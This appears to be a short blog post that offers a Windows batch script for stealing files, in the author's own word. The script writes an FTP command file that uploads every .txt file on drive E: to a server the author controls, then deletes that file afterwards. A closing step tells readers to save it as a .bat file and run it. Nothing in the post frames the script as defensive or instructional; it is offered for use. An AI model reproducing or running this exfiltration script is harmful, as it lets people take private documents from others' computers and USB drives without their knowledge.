Foreword
Not long ago, I had this idea, which is to automatically run a script and upload files in the PC to our customized server. For example, we can specify that all word documents on the USB flash drive are uploaded to our server, which has achieved the purpose of stealing. So let’s see how it is implemented!
Code
@Echo Off
Echo open server ip ftp.up
Echo username ftp.up
Echo password ftp.up
Echo binaryftp.up
Echo promptftp.up
Echo lcd 'E:\*.txt'ftp.up
Echo mput 'E:\*.txt'ftp.up
Echo byeftp.up
FTP -s:ftp.up
del ftp.up /q
Using
Save the file code as a .bat file. After double-clicking to run, all txt files in E disk will be uploaded to the server we specified.
Recommended Comments